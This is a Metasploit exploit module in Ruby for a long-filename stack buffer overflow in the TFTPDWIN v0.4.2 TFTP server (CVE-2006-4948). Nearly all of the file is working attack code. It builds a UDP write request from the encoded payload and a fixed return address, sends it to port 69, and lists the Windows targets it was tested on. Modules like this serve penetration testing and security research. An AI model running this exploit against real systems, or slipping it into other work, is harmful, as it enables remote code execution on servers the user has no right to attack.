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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Udp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'TFTPDWIN v0.4.2 Long Filename Buffer Overflow',
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      'Description'    => %q{
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          This module exploits the ProSysInfo TFTPDWIN threaded TFTP Server. By sending
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        an overly long file name to the tftpd.exe server, the stack can be overwritten.
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      },
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      'Author' 	 => [ 'aushack' ],
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      'References'     =>
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        [
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          [ 'CVE', '2006-4948' ],
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          [ 'OSVDB', '29032' ],
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          [ 'BID', '20131' ],
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          [ 'EDB', '3132' ],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 284,
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          'BadChars' => "\x00",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          # Patrick - Tested OK 2007/10/02 w2ksp0, w2ksp4, xpsp0, xpsp2 en
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          [ 'Universal - tftpd.exe', { 'Ret' => 0x00458b91 } ] # pop edx / ret tftpd.exe
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2006-09-21',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        Opt::RPORT(69),
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      ], self)
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  end
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  def exploit
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    connect_udp
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    print_status("Trying target #{target.name}...")
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    sploit = "\x00\x02" + payload.encoded + [target['Ret']].pack('V')
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    sploit << "netascii\x00" # The first null byte is borrowed for the target return address :)
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    udp_sock.put(sploit)
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    disconnect_udp
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  end
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end
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